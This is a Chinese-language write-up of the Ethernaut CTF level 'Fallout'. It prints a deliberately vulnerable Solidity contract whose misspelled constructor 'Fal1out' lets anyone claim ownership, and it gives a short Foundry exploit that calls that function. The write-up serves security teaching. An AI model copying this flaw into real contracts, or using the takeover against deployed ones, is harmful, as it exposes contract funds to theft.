Ethernaut 题库闯关 #2 — Fallout

Ethernaut 题库闯关 第 2 关题解。

今天这篇是Ethernaut 题库闯关连载的第2篇,难度等级:容易。

挑战#2:Fallout

本挑战的目标是要求获得Fallout合约的所有权。

Fallout合约代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

研究合约

首先我们注意到,所使用的Solidity编译器版本是< 0.8.x。这意味着该合约很容易出现数学下溢和溢出的错误。

这个合约导入并使用了OpenZeppelin SafeMath库,因此他们应该没有溢出问题。

这个挑战非常独特,如果你是Solidity安全主题的新手,你可能很难理解如何解决这个挑战,但只有一个原因:这个问题只在Solidity 0.4.22之前存在。

Solidity 0.4.22之前,为一个合约定义构造函数的唯一方法是定义一个与合约本身同名的函数。

你现在可以想象会出什么问题......你认为已经定义了与合约名称相同的构造函数,但你在编写时犯了一个拼写错误......这个函数永远不会被自动调用,因为它不再被认为是一个构造函数,所以合约在创建时没有被初始化。在那个Solidity版本之后,Solidity引入了一个新的constructor关键字来避免这种错误。

如果你仔细看一下代码,合约的名字是Fallout,但是构造函数叫做Fal1out。你能看到这个错字吗?他们用了一个1而不是l。因为这个错字,当合约被部署时,构造函数在创建时从未被执行,所有者变量从未被更新。这是因为Fal1out现在被看作是一个 "普通"函数。

解决方案代码

这个挑战的解决方案非常简单。我们只需要调用从未被调用过的Fal1out函数。

function exploitLevel() internal override {
    vm.startPrank(player);

    // 在 Solidity 0.4.22 之前,为一个合约定义构造函数的唯一方法是定义一个与合约本身同名的函数。
    //  在该版本之后,他们引入了一个新的`constructor`关键字来避免这种错误。
    // 在这个例子中,开发者犯了一个错误,把构造函数的名字弄错了。
    // Contract name -> Fallout
    // Constructor name -> Fal1out
    // 这样做的结果是,合约从未被初始化,所有者是地址(0)
    // 而且我们能够调用`Fal1out`函数,在这一点上,它不是一个构造函数(只能调用一次),而是一个 "普通"函数。
    // 这也意味着任何人都可以多次调用这个函数来切换合约的所有者。
    level.Fal1out();

    vm.stopPrank();
}

你可以打开Fallout.t.sol阅读挑战的完整解决方案。

注:我们这个闯关系列, 都是在 Foundry 开发框架下完成,代码中的 vm 是Foundry作弊器的代码。 这里有一篇 Foundry教程, 可前往阅读。

进一步阅读

免责声明: 此挑战中的所有 Solidity 代码、实践和模式都是非常脆弱的,并且仅用于教育目的。请不要在生产中使用

第二题已经完成,这一关有收获什么灵感么? 明天下一题见。

点赞 2
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

2 条评论

请先 登录 后评论
Ethernaut CTF
Ethernaut CTF
信奉 CODE IS LAW.